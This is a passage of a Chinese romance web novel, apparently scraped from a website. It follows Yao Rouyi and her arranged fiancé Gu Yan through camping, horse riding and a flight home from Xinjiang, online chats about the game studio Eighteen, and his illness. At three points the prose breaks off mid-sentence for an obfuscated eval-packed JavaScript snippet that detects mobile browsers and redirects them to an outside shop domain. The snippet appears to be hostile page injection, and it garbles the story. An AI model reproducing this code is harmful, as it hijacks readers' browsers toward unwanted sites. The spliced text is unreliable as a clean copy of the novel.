他是怎么回答的?应该是没有承认尿床的事。他还说他刚出生,爷爷就给了张卡,卡里存着一笔普通人一辈子花不完的钱,他根本用不上偷钱。 气得姚柔伊恨不得黑进他的账户,把钱转到自己卡上。 躺了一会,也睡不着,姚柔伊坐起身,打开遮光板上的镜子,整理睡得有点乱糟糟的头发。 用手把头发抓齐整后,一转眼看见顾阎刷完牙洗完脸朝车的方向走过来。 她降下车窗,手伸出去感受温度,毫不意外,很冷,怪不得抗冻如顾阎都穿起了冲锋衣。 顾阎走到她面前,摸了一下她的脑袋:“醒了?” 姚柔伊点头,离得近,说话间能闻见牙膏的清新味道,她还没刷牙,便不开口说话。 “饿了吗?” 姚柔伊点点头,昨晚吃得不多,今早腹中空空。 “我们得去找饭店,放在外面的食材被偷了。” 姚柔伊嘴巴惊成一个O形,她扭头朝帐篷方向看过去,果然那里相当凌乱,除了火锅里没吃完的东西,其余干净的食材全被扫荡一空,只留下残局待收拾。 更可怕的是,帐篷都倒了,歪七扭八的,上面还有泥土的印记,那印记像动物的蹄印。 不仅食材被偷了,连帐篷都被牛拱了,万幸睡在了车里,躲过一劫,不然后果不堪设想,被牛踩踏的滋味恐怕得进医院。 姚柔伊开车门,发现脚上没鞋,顿时想起来昨天的惨痛经历,气不打一处来,气完庆幸还好自己带了两三双,稍稍顺气,爬到后备厢找备用登山鞋,换好后跳下车。 “我去刷牙。” 顾阎赶紧把冲锋衣脱下来,罩在她肩膀上,“早上冷,风大。” 姚柔伊紧了紧身上的外套,衣服上余留他的体温,热烘烘的很舒服,外套尺寸对她来说太宽敞,松松垮挎的,下摆遮到了大腿处,将她大半身子都包裹住。 “谢谢。”她礼貌道谢。 “又客气了。”顾阎手臂支着车门,把她半圈住,歪头带笑说:“你是不是每次都得喝完酒,才能做自己。一醒来,又是这样子。” “哪个样子都是我,我是百变小樱行不?”姚柔伊一个灵活下蹲,从他手臂下钻出来。 顾阎拍了一下手,右手比出手枪的手势,指着她赞道:“对,就这样,就爱看你跟我顶嘴的样子。” 姚柔伊翻了个白眼,不理他发癫,这人难不成是个抖艾慕。 听说越是事业有成的人,越有那方面的倾向,但顾阎显然不是那个圈子的,只能用“过的太顺了,想找虐”来解释。 姚柔伊伸手去够他手里剩下的半瓶矿泉水,刚好够刷牙的量。 顾阎递过去,补了句:“我喝过的,你不介意?昨天不是还不愿意和我接吻吗?” 旧事重提,这个坎简直过不去了。 姚柔伊无语:“那我拿瓶新的。” 顾阎把水瓶收回去,朝后备厢方向扬了一下头:“行,里面有。” 姚柔伊走到车屁股后,拿了一瓶未开封的,心里嘀咕,是你不愿意间接接吻的,这回怨不得我。 她从他身边走过时,顾阎突然胳膊一伸,从她手中抽出矿泉水瓶,轻轻一拧,替她打开。 “用不着,我的力气没这么小。”姚柔伊没领情。 却不料,顾阎直接把水喝了一小口,顶着她震惊的目光递过去,“我反悔了,你就这么刷牙。” 无不无聊,幼不幼稚,他俩到底谁大谁小啊? 姚柔伊满脸无语地接回矿泉水,心里想的是真想把这事在他公司曝光出来,让那些下属看看,堂堂大老板竟然干出这么三岁孩童智商的事情。 姚柔伊无奈,只能用这瓶被他喝过一口的水刷牙洗脸。 嘴唇贴上瓶口时,明明没有任何异样感觉,偏偏心里猫抓似的痒痒,好像瓶口被下了什么神奇魔法。 姚柔伊摇摇脑袋,摈弃杂念,老老实实刷牙洗脸。 洗漱完毕后,她起身回去,见顾阎已经将乱成一团的露营桌椅收拾好了,连同破烂的帐篷一同处理丢掉,其余还能用的收回后备厢里。 “手脚真麻利。”姚柔伊不吝赞美。 顾阎坐上车,邀她上来:“走,不在这地方耽搁了,最近的饭店旅舍还得开一个小时。” 姚柔伊迅速上车。 顾阎启动车子,新疆太阳光线刺眼,他戴上了一副橙色镜片的黑框太阳镜,潮得不行,一边开车一边随音乐哼着歌。 姚柔伊还记得之前坐他车时,他车里放的是一些钢琴曲、交响乐之类的古典风格音乐,极其的高雅且古板,完全不是年轻人的口味,而现在车上放的是抒情摇滚,看来之前那风格也是他刻意伪装的,这才是他开车时常听的。 姚柔伊扭头看向窗外,其实这么多天,窗外的景色看来看去已没了新鲜劲,天空,草地,山脉,河流,牛羊,以及远处的雪山,美得有些千篇一律。 她收回视线,不自觉地瞥向顾阎。 他完美的侧脸,比窗外的景色更饱眼福。 察觉到姚柔伊的目光,顾阎去抓她的手,与她相握。 她很难定义当前的关系,如果说不是情侣,为什么牵起手来这么自然,可若是情侣,自己还是放不下所有的戒心。 既想纵情享受,又踟蹰不前。 她想起昨晚顾阎的话——“我只在乎当下”。她一直追求自在随心,可做事却顾虑重重,无法只在乎当下,可能当下的处境太过糟乱,毕业后的工作安排,家里破产欠下的债务,即将迈入的合约婚姻,桩桩件件都是未知挑战,她无法不去计较未来。 她忽然有些羡慕顾阎,他的生活和事业早已步入正轨,只需要沿着成功的阶梯继续攀登,就能到达更辉煌灿烂的天际。或许他当前唯一的不可控事件,就是娃娃亲将他俩绑到了婚姻这条船上。 他对她拒绝继续接吻这件事难以释怀,是否也与其超出自己掌控范围有关? “在想什么呢?看着我不说话。”顾阎捏了一下她手掌。 姚柔伊幽幽感慨:“什么时候才能像你这样?”真正的活在当下,自在随心。 顾阎笑道:“要像我一样,那你恐怕得做个变性手术。” “我是说像你这样成功。”姚柔伊始终有个疑问,是不是得先获得世俗意义上成功,才能追求真正的自由。 “哦?这么有事业心啊,其实我不在乎另一半工不工作的,有自己想干的事就行。”顾阎跟很多事业有成的男士抱有相似的观点,自己的收入足够多,根本不care伴侣的事业如何。 “真好啊。”姚柔伊真诚发出感慨。 难怪这么多人想当阔太太呢,这种话无论是否能兑现,光听起来就很美妙,可惜他们的婚姻从一开始就是短短两年的交易,她没法真的享受这种不用为生计发愁的日子。 那样的日子每一天都美好得像假期吧? 顾阎说:“傻子。等结婚了,你就想画就画,不想画就去玩,何必想这么多呢?” “不要。”姚柔伊摇头,不是自己挣的钱,终究花起来没有底气,尤其是浪费了自己的绘画技能,那更是多年的努力都打了水漂,得不偿失。 “随你啊,我都支持。” 顾阎这句轻松又随意的话带给姚柔伊一点点力量,好像自己不用在乎自己的画是否能卖上高价,只要他在,就能让她心无旁骛地专心于绘画本身。 一个小时的车程说快不快,说慢不慢,在姚柔伊的肚子发出第一声咕噜声时,他们来到了一家类似农家乐的饭庄前。 他们点了几个菜,菜上得很慢,味道也不如城区街巷中的店铺,只能果腹。 姚柔伊吃了几口,肚子不饿,就放下筷子。 顾阎也没吃多少,显然他们口味近似。 “等回乌鲁木齐,我带你去我之前去的那家店,味道比这好多了,尤其那个酸奶刨冰,我还想再去吃一遍。” “好。”顾阎又问:“接着去哪,晚上回乌鲁木齐,赶明天的飞机。” 姚柔伊:“我带你去骑马。”她目前也只发现了这一项有意思的活动。 “好。” 他们在附近随意找了个景点,凡草原类的景点,都有骑马这项娱乐项目。 一个骑着马的小姑娘见他俩下车,驱马过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724615|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来询问:“骑马不,便宜,80一小时。” 她看起来只有十二三岁,长相是明显的异域特征,但身上穿的衣服和内地的小孩差不多,普通话也很标准。 姚柔伊点头:“要两匹马。” 小女孩掏出手机,说着他们听不懂的少数民族语音,和电话那头交流,过了十多分钟,一个中年牧民牵来两匹高头骏马。 牧民不会说普通话,姚柔伊让小女孩替他们引路。 小女孩虽年纪小,但已能堪大任。 牧民过来要扶姚柔伊上马,顾阎抢先一步,在她一只脚踩进马镫时,将她向上送了一把,另一条腿毫不费力甩了过来,跨坐在马鞍上。 顾阎将缰绳提起来送到姚柔伊手里。 很显然,他对骑马一事颇为熟稔。 很快,他上马的潇洒身姿也完美印证了这一点,他宛如一个身经百战的骑手,完全没有半点新手的局促和胆怯。 做骑马生意的人最怕游客出现什么意外,提供马匹的牧民原本想将这两匹马一前一后拴在一起,见顾阎是个会骑的,姚柔伊又再三摆手表示不需要绑,这才放弃。 引路的小女孩走在最前面。 姚柔伊和顾阎紧随其后。 姚柔伊已经骑了挺多次,对马的方向控制也算摸出了门道,顾阎就更是游刃有余了。 “你会骑马呀?”她问。 顾阎轻“嗯”了声。 骑马也算是贵族教育中很平常的一种,在他上幼儿园的年纪,就开始每周上两节马术课了。 而姚柔伊却是在来新疆旅游之后,才第一次体验马背上感觉。 穿行过一段蜿蜒的黑色泥泞小路,总算到了一片开阔的平原。 “这里可以让马跑起来吗?”姚柔伊问带路的小女孩。 小女孩面露难色,“可以是可以,但是不安全,万一掉下来……” “没事!”姚柔伊对着天空大叫一声。 她夹了夹马肚子,没敢用太大的力,毕竟是一匹刚接触的新马,摸不清它的脾性。 马儿不给面子,原地踏步,根本不跑。 姚柔伊尴尬地又使了点劲,还是不跑。 ……给点面子呀,马兄。 “抓好缰绳,坐稳。”身后响起顾阎的叮嘱话语,紧接者是一声响亮的马鞭抽打的声音,□□的马再不敢懈怠,开始撒开蹄子跑起来。 那轻微失重的颠簸感,太刺激神经了,让人肾上腺激素飙升,快活得只想仰天长啸。 马儿只是小跑,并没有飞奔起来,姚柔伊这种新手也能勉强驾驭这种速度,就是尾椎骨颠得发痛。 顾阎就策马跟在她身后,时不时拿鞭子抽一下马屁股,帮姚柔伊驱动它。 “不用管我,你先跑。”姚柔伊回头冲顾阎大喊。 顾阎只道:“我看着你。”他对骑马的兴趣并没有这个新手大,更多的是不放心姚柔伊,毕竟骑马总归是有风险的。 “这样就变成你陪我骑了。”姚柔伊拉了一下缰绳,让马慢慢停住,她对顾阎说:“你跑一趟,让我看看电视里那种策马奔腾是什么样子的。” “好。” 既然姚柔伊想看,顾阎也不推辞,他双腿一夹马肚,马鞭向后一甩,马儿立刻跑起来,他抽打着马鞭,马儿越跑越快,他技巧娴熟地控制身体,随着马的上下颠动做摇摆,整个身子看起来很稳当。 骏马飞驰时的姿态极尽优美,且富有力量感,而驾马驰骋的顾阎,就像高高在上的国王,所向披靡。 姚柔伊的心脏重重跳动。 小女孩见顾阎将马骑出这种速度,忙吓得大喊:“慢一点,慢一点!” 在草原的深处,顾阎的身影越来越远,直至缩成了指甲盖大小,渐渐消失在蓝天与绿地的交接处。 这个场景给了姚柔伊很强烈的创作灵感,告别新疆后脑海里很长时间都是这个画面,她甚至半夜起来,捡起颜料和画笔,在画布上一挥而就。那幅画她取名为《自由》,成为她使用时间最久的朋友圈封面。 姚柔伊冲面色焦急的小女孩笑了下:“不用喊了,他听不见了。他会回来的,你看他骑马很厉害的,不用担心他。” 小女孩还是神情忡忡地目视远方,顾阎远去的方向。 “回来了,回来了!”等了五分钟后,看见顾阎愈来愈近的身影,小女孩终于一扫方才担忧神色,激动地冲姚柔伊大喊:“你老公回来了!” 姚柔伊差点被噎住。 但她没否认,嘚瑟问道:“怎么样,帅吧?” “帅!” 25. 第 25 章 在回程值机时,姚柔伊和蒋洲三人重逢,他们本就是旅游前一起订的机票,同一趟航班,碰上很正常。 顾阎强行帮她升成头等舱,要她去前面陪他。 其余三人一脸懂的都懂的表情,挥挥手让她带着恋爱的酸臭味赶紧走。 飞机准时起飞,告别大西北。 姚柔伊不由得感叹:“这两天好像做梦一样。” 顾阎的突然出现,他们两个人在没有任何人打扰的地方,完整地呆了两天,一起喝酒,一起露营,一起骑马,大哭大笑,大喜大悲,山谷和草原见证这一切。 “嗯。”顾阎很少有完整从工作中抽身的体验,这两天对他而言也是极其宝贵的。 “什么时候还能回来再玩一遍呢,新疆太大了,沙漠那一块都没来得及去看,只看了草原。” “以后有机会的。” 再过来,身边人还会是顾阎吗?这个想法不免让她有些失落。 旅游的珍贵回忆,除了当地的所见所闻,所思所感,更与结伴同行之人有关。 要是让她独游故地,她也毫无兴致。 “好想有一次成功的露营体验哦。”她颇为遗憾,没有睡成帐篷。 “太仓促了,下次我会准备好的。”顾阎近期也对露营一事挺感兴趣的,脱离现实的纷纷扰扰,去亲近大自然,是个很好的解压方式。 姚柔伊突然想到什么,问道:“那枚掉了的骰子你找到了吗?” 顾阎从口袋中把骰子摸出来,给她看。 姚柔伊抢过来,居然还真是那一枚,“哇,居然没丢。” 说完,她又问:“你身上为什么会带骰子,是从哪个酒桌游戏上带回来的?不会有什么特殊含义吧?” “没什么,顺手拿的。” 他和池修白几天前跟留学那伙人聚过,孟筝也过来了,顾阎特意避开她坐,但她还是靠过来,骰子可能也是她塞进他口袋里的。 他回忆起他们刚认识时,也是在类似的同学聚会上,酒桌游戏,孟筝不会玩,尴尬地坐在一边看他们摇骰子。但她是个出挑的美女,周围人都起哄,让她不要拘谨加入进来,孟筝被劝得没办法,只能学着他们的样子摇骰子,可能是第一次接触这种事太紧张了,一枚骰子蹦了出去,跌跌撞撞落到顾阎脚边。 孟筝又羞又恼,急得脸通红,快哭出来。 顾阎低头弯腰,把骰子捡起来,递给她。 孟筝接过,眼神短暂对撞后,快速移开,低着头小声说:“谢谢。” 就是这么简单的小事,孟筝事后却非要约他,说请他吃饭。 明明那么害羞乖巧的女生,居然还会主动请吃饭,顾阎自然没拒绝,谁会拒绝一个美女的主动示好呢,更别说那时的顾阎是一个正因母亲离世而萎靡不振的单身男生。 孟筝的这枚骰子,是显而易见的求复合举动,他看见心烦,但也没扔,就这么揣着,哪知道来新疆之后还能派上用场。 再然后,这枚骰子就染上了与姚柔伊有关的记忆,他更觉得没有丢掉的必要。 姚柔伊没有从骰子上看出什么特殊之处,也没撬开他的嘴,便还了回去,戴上眼罩,开始睡觉。 * 自打去了新疆,这半个月,姚柔伊是一笔都没动过。 点开她的社媒账号以及邮箱,涌入不少约稿的信息,姚柔伊一一查看。 除了约二次元头像、人设、插画稿件的,还多了一些约纯艺术类油画作品用于展会的,看来那个慈善拍卖会帮她打响了这个方面的名号。 但这些,姚柔伊暂时都没想法。 她还沉浸在毕业旅行的放松状态,没有回到现实生活中。 为了找回画画的状态,她打开平板,画了几格很简单的小条漫,是旅途中的糗事,比如帐篷被牛拱,撒尿没带纸,不小心踩到牛粪啥的。 画的是草稿,没上色,寥寥几笔,趣味横生。 发出去后,除了“哈哈哈哈哈”“好惨xswl”这类评论,还多了一类跑偏的评论。 “啊啊啊啊老师您恋爱了?” 明明顾阎的形象她画成了火柴人,也没挑破是男是女,怎么别人一眼就发现这种事情,真是怪哉。 她回复:没有,还在暧昧。 其实马上就要结婚了。 和即将结婚的对象处于搞暧昧阶段,想想都觉得不可思议。 由于她大半个月没更博,这次更新也是随手画的草稿,并没对这条博的数据有什么期待,但第二天醒来发现转了五千多的时候,把她吓了一跳,立刻设置了分享权限,仅粉丝可见,她才不要把自己的糗事搞得人尽皆知。 姚柔伊继续筛选约稿信息,把其中稳定供稿的一本杂志封面插画接下,又挑中了两个自己感兴趣且出钱也豪爽的人设稿子。 一下子定了三份稿,她又要忙活好一阵。 至于那个约油画的,她也没拒绝,只是回复说自己排期满,可能需要等。 展会交接工作人员忙表示愿意等,反正展会下月中旬才举办,能在开展之前供稿就行。 姚柔伊一旦投入工作时,通常会特别专注,极少出门,吃喝主要靠外卖,连垃圾都是积攒了几大袋再一起丢掉。 画得投入时,甚至连手机都不刷。 凡成功之人,做事必然专注,她通常在接稿后,很快就能给出草图,方便与约稿方进行后续沟通调整。 因为效率高,画技扎实,画风独特,姚柔伊这些年在约稿一事上也算积累了很好的口碑。 给杂志社画的封面,初稿不用大改,只需要小调整,她一两个小时后就改完发给对方看。 对方很满意,让直接上色细化就行。 草稿设计敲定完成后,后续的进展基本上水到渠成,毕竟她已经为这本杂志长期供稿,画风什么的完全不用担心。 姚柔伊画画时通常不会定时定量,比如画一个小时休息十分钟,而是会一口气画到极限,什么时候累得腰酸背痛,头昏眼花,什么时候停下休息。 通常她上色只需要半天就能完成,然后细节打磨再来半天。 一张精美的封面就诞生了。 但她并不会马上把稿件发给约稿方,如果给的太早,对面会觉得这张画完成得太轻松,自己的稿费会不会给太多了,心里难免不痛快,以致于故意找茬让她修改。他们很难会理解效率高的人,背后付出的努力又是多少。种种历史经验表明,在截稿期前一晚发过去最省心。 姚柔伊完成一张稿件时,通常才会让自己休息一段长一点的时间,比如打半天的游戏。 前两天,她最喜欢的一个游戏工作室Eighteen,几年前就放出宣传pv的作品,终于发售了。 一款萌系休闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728735|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风格的模拟经营游戏。 姚柔伊玩的游戏种类很杂,基本上什么类型只要口碑好都会尝试一下,比如动作格斗、大世界探索、枪战赛车、模拟经营、恋爱换装等等,其中轻松不费脑的模拟经营游戏一直是她的心头好。 Eighteen工作室专门研发3A大作,有口皆碑,甚至被游戏迷誉为“国内最后的良心”。本来这种工作室是和模拟经营游戏赛道完全不搭嘎的,可想而知几年前放出宣传pv的时候,游戏区有多震动,姚柔伊有多癫狂。最喜欢的游戏工作室,居然屈尊纡贵做了一款她很喜欢的类型游戏。 游戏才发售短短两天,就话题、口碑双双爆炸,销量更是频频刷新记录。 姚柔伊为了画稿,硬生生忍了两天才玩上,自己都被自己的工作精神感动到了。 她截取一张游戏登录界面截图,发朋友圈。 【呜呜呜终于玩上了,不愧是我最爱的游戏工作室!Eighteen,我要追随你们一辈子!】 接着,姚柔伊大玩特玩,进入失联状态。 顾阎看见这条朋友圈的时候,颇有些恍如隔世之感,Eighteen,在它还叫负十八层的时候,曾是他们一伙人灵机一动创办的产物。 他见证了它从初出茅庐,到一鸣惊人,也在它最负盛名时,离开了工作室。 兜兜转转,这个大学时代的产物,居然还在发展壮大着,他记得在他离开后,工作室在第二年被国内的游戏巨头公司收购,改了名字,沉寂了一段时间后继续发售新作,新作的质量一直很稳定,工作室也逐渐成为口碑代名词。 顾阎把姚柔伊的朋友圈截下来发给池修白。 池修白:【你这叛徒,当初把我们这伙人拉过来跟着你搞游戏,结果你拍拍屁股走了。】 顾阎:【啧啧,你不也走了?】 池修白:【我那是有更重要的事情做,再说我一直没跟负十八层彻底断联,偶尔一些游戏技术上难题我还帮他们处理过。】 顾阎:【你是技术型人才,咱们不一样,我这个策划已没有什么用武之地喽。】 池修白:【拉倒吧,我看你就是电子阳痿了,没啥想玩的,就撂挑子不干了。】 顾阎不再继续搞游戏工作室很大原因是进华尔街工作了,为回国进入自家企业做准备,没空为了一个游戏工作室分神,他在对游戏最感兴趣的年少时代创办了它,也在需要进入事业下一阶段的时期,无情抛弃它,他有时做事就是这样,自在随心,不喜欢考虑太多的事情,珍惜当下的一段缘分就够了,至少负十八层工作室三部早期口碑神游都是他一手策划的。 既然姚柔伊是Eighteen的真爱粉,那她应该对工作室的前世今生颇为了解,顾阎有些好奇她对自己曾经的那个身份是什么看法。 他戳进聊天窗口。 顾阎:【你很喜欢Eighteen,那你认识Hades吗?】 Hades是阎王的意思,是他在游戏工作室时期的代号。 姚柔伊正痴迷于游戏,这条消息许久没有回复。 直到五个小时候后,顾阎正在公司开会时才收到回复。 姚柔伊:【哇,你是同好吗?你居然还知道Hades这个大烂人!你是想跟我一起骂他吗?】 台下的经理们面面相觑,老板看完手机后,脸色怎么这么黑?! 26. 第 26 章 顾阎面色冷如冰霜,会议室气氛降至冰点,参会的高管们汇报工作时战战兢兢,唯恐惹到顾阎,被他一顿臭骂。 在会议结束后,顾阎终于得空回复姚柔伊。 顾阎:【为什么这么说,你不觉得他挺有才的?】 姚柔伊:【呵呵,我承认他对Eighteen有功,但是他为了攀高枝抛弃Eighteen这件事罪无可赦!】 攀高枝?顾阎并不觉得在华尔街每天连轴转的牛马日子算是什么高枝,当年顾氏集团想涉足金融业,他才不得已先去华尔街积累经验的。 顾阎:【你对他意见好深啊。】 姚柔伊:【看来你很喜欢他,反正我不喜欢,我最喜欢主美,他的人生轨迹简直泰酷辣。】 顾阎:【你说的主美也是Hades发掘进工作室的吧?】 姚柔伊:【好吧,他是挺有识人之能的,但不影响他是个烂人,哼!】 “……” 顾阎无语,简直自讨没趣,他以为姚柔伊会对负十八层初始团队挺有好感的,毕竟很多游戏迷对工作室创始人都是很有情怀滤镜的,哪知道自己在姚柔伊那里只有被误解的黑粉滤镜。 他还是不要曝光自己的身份了。 顾阎:【你最喜欢Eighteen哪款游戏?】 姚柔伊:【就是正在玩的这个。】 顾阎:【除此之外呢?】 姚柔伊:【每一款我都挺喜欢的,非要说的话可能是最开始的那几部,虽然技术和画面比不了近些年发售的作品,但就是挺好玩,挺杀时间的。】 顾阎这才舒坦了一些,【那你还这么讨厌Hades,你不知道早期的几部全是他提的创意吗?】 姚柔伊:【我以前也很喜欢他啊,奈何他实在太不负责任、太伤我的心了,我粉转黑还不行吗?】 顾阎:【……行。】 姚柔伊:【不过我以后尽量不讨厌他了。】 顾阎:【?】 姚柔伊:【谁让你是他脑残粉呢~】 顾阎:【???不是】 姚柔伊:【处处维护他,还不好意思承认,哎,你们男人都这么别扭吗?我之前去你的住处,看到你装修了一个很大的电竞室,里面有不少Eighteen早期游戏的周边,我那个时候就挺想问你是不是也喜欢Eighteen?】 只是那个时候姚柔伊忙着装淑女,肯定没法问,就是问,他也不会承认的。 顾阎:【我已经很少玩游戏了。】 可能真像池修白打趣的那样,他电子阳痿了。 姚柔伊:【太可惜了,没法和你一块玩了,这游戏双人联机还挺好玩的,还可以帮对方打理菜园子。】 二十分钟后,顾阎把个人游戏ID号发了过去。 姚柔伊惊叹他动作真快,也暗自窃喜自己又卖出一份安利。 姚柔伊搜索到顾阎,将他添加为好友。 姚柔伊:【好友先加上,我下线了,要画稿,结束后再上线。】 顾阎:【好】 顾阎对这游戏没多大兴趣,只是听姚柔伊说可以双人联机,他才购买游戏的。 她比他想象中的更为自律,身为自由职业者,能克制自己的欲望,以工作为先。以老板的眼光来看,他非常欣赏这样的员工,若以男友的身份来看,他又觉得这样一头扎进工作里,忽略了身边人的感受实在不好。 好在他自己工作也忙,不然两人一个忙一个闲,早晚要出点问题。 在姚柔伊全身心投入稿件之中时,门被敲响。 她纳闷,明明她还没开始叫外卖啊?身为独居的女生,难免对突然响起的门铃声心惊胆战。 她从猫眼往外看,门外一共四个人,其中一人是房东,故而稍稍安心。 姚柔伊刚打开门,房东就开门见山。 “我今天带人来看房子。” “那你为什么不提前通知我一下?”姚柔伊不爽,她还穿着睡裙,在开门前匆匆贴了个胸贴遮点。 房东丝毫没有半点歉意,完全忽视这个问题。她烫着一头卷发,是个体格和性情都很剽悍的本地大姨,她毒辣的视线在客厅里扫视一圈,看见玄关处几个垃圾袋,立刻嫌弃道:“你这小丫头,长得漂漂亮亮的,怎么一点都不讲卫生,客厅乱糟糟的,垃圾也不丢。” 姚柔伊没说话,一旦投入工作,日常生活就容易不拘小节,通常忙完之后叫家政阿姨来打扫。 房东带着中介以及来看房的一对小夫妻,跟他们仔细讲解自己这套房子格局有多好,平时维护保养多认真,小区环境多么适宜,价格多么实惠,最后还不忘讽刺一句姚柔伊,就是这小姑娘把东西弄太乱了,收拾整齐的话,房子很漂亮、很宽敞的。 这对小夫妻似乎挺满意这套房子,说回去考虑考虑。 在房东离开之前,姚柔伊拦住她:“我签了一年的合同,还有半年才到期,你不能提前把房子卖出去,这是违约行为。” “哎呦呦,什么违约不违约的,再过半年,房子都不知道要掉价多少了。”房东不予理会,她走之前看了眼垃圾,又唠叨一遍:“赶紧丢掉,不要把我的房子搞臭了。” 姚柔伊不吭声,一肚子火。 这房东可真过分,没和她商量一句就带人来看房,又是想违约提前把房子卖掉,又是各种嫌弃自己没有把垃圾丢掉。 没有自己的房子,就是这点不好,遇到宅心仁厚的好房东还好,遇到个不省心的,真是钱花了心里还不痛快。 在他们走后,姚柔伊重新回到书房赶画稿。 一直画到肚子饿得咕咕叫,她才停下笔,拿起手机点外卖。 外卖软件早翻了无数遍,常点的就那几家,点多了也怪腻的,她打算发掘一个没点过的店。 正在翻的时候,顾阎发来信息。 【别忘了吃饭。】 姚柔伊正愁不知道吃什么:【你晚上吃的什么?】 顾阎:【有饭局。】 姚柔伊失望:【好吧,我不知道吃什么。】 顾阎回复:【地址给我,我给你点。】 姚柔伊没多扭捏,把地址发过去了。 顾阎搜了一下这个小区,五六年前建成的,周围配置一般,唯一可取之处是离大学比较近。 姚柔伊:【你帮我点了什么?】 顾阎:【饭菜】 姚柔伊:【……】 说了跟没说一样。 半小时后,一位穿着西装制服、戴着白手套的年轻帅气男生给她送餐,把姚柔伊吓了一跳,这是什么鬼,不应该是蓝骑士或者黄骑士吗? 那帅小哥优雅地打开保温袋,将高档打包盒一件件取出,摆在餐桌上,一共四菜一汤一甜品。 接着,小哥一手在前、一手背后,朝姚柔伊鞠躬,“祝您用餐愉快!” 说完,在姚柔伊目瞪口呆的神情中缓缓离去。 姚柔伊赶紧搜一下打包盒上的饭店名字,搜到这家店后,被人均价格吓到咋舌。 这么贵,难怪是帅哥上门配送呢。 姚柔伊把这些拍照发给顾阎:【收到了,吓死,没见过这么高档的外卖,那个配送员小哥跟模特似的。】 顾阎:【有我帅?】 男人不管几岁,在这方面都极其幼稚。 姚柔伊:【那必然是比不过你。】 顾阎:【我猜也是。】 顾阎:【你刚才不是问我晚上吃什么吗,就是这些。】 姚柔伊:【我错了,我只是想你给我一些点外卖的灵感。】 顾阎:【快吃吧,工作也得注意身体。】 姚柔伊:【你也是】 顾阎:【我体质好的很】 姚柔伊:【行行行】 姚柔伊吃完饭,把顾阎给自己叫外卖,结果来的配送员是大帅哥这事画成一个小条漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732449|143710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分享在微博,不知道咋回事,她最近老喜欢用条漫分享点生活日常。 底下的某位粉丝评论说:【果然人一恋爱就容易炫,老师请保持这个发博频率!】 给姚柔伊吓得一激灵。 * 人有时候就是不能说大话,顾阎刚吹嘘完自己体质好,就没由来染上风寒,直接高烧卧床。 免疫力好、不容易生病的人一旦病起来,往往比普通人更难受。 顾阎头痛,嗓子痛,全身上下哪哪都难受。 他拍了张温度计的图片发给姚柔伊。 姚柔伊一边嘲笑他立flag,一边火速买票去找他,但她并没有和他说自己过去了。 到了东城之后,姚柔伊打车去他的别墅区,门卫不给她进去,她才不得已联系顾阎说自己到了。 她把电话给门卫,顾阎和门卫说了几句话,门卫的态度立马变得恭恭敬敬,开门请姚柔伊进去。 从手机话筒中能听出,顾阎的嗓音嘶哑又虚弱,还时不时剧烈咳嗽一声。 没想到他病得比她想象中的还严重,姚柔伊心揪了起来。 她的脚步越来越快,到后面开始奔跑起来,气喘吁吁地敲响顾阎家的门。 门虚开着,想必刚才得知她到了,他便挣扎着起身替她打开了门。 姚柔伊小心地推门而入,见顾阎躺在沙发上,头上敷着一张退烧贴。 他闭着眼,眉头深深蹙起,面色苍白,嘴唇毫无血色且干燥到起皮。 听见她的脚步声,顾阎偏头睁开眼,有气无力道:“怎么来了?” “我来看看你。”姚柔伊回答,她也不知道,为什么在看见他发温度计照片时就没忍住订票了。 “视频也能看。”他说。 “线下看我更放心一点。”姚柔伊想说就算当时开视频看了,看见他的病态,还是会选择过来。 “哼哼,你就是担心我。”顾阎强打着精神说句赖皮话。 被他说中,放之前她肯定要嘴硬否认,但现在他是病人,何必跟个生病难受的人计较呢? “嗯。”姚柔伊轻声说:“所以我来照顾你。” 顾阎突然咳嗽起来,上半身剧烈震动,姚柔伊见状忙上前查看他情况,顾阎转身面向沙发背,艰难说道:“别过来,当心把病过给你。” 姚柔伊在沙发边蹲下,帮他拍背顺气:“没事的,我体质也很好。” “呸呸呸快闭嘴吧。”这句话简直有毒,自己说完没多久就病了,听到姚柔伊这么说,当即觉得晦气。 见顾阎的咳嗽停止了,姚柔伊起身:“我帮你倒杯水。” 姚柔伊端了一杯水过来,顾阎没接,让她放到茶几上。 “喝点水吧,你嘴巴干到起皮了,多喝水也对病情恢复有利的。”姚柔伊继续端着水,温言相劝。 “嗓子痛,咽口水都难受。”顾阎痛苦地摇头。 “喝点吧。”姚柔伊还是不死心,她想把顾阎扶起来,然后喂他喝,但试了一下实在是死沉死沉,一点都拽不动。 “等会儿医生会来,我这用不上人,你上去歇着吧,别靠我太近。”说完又咳了两声。 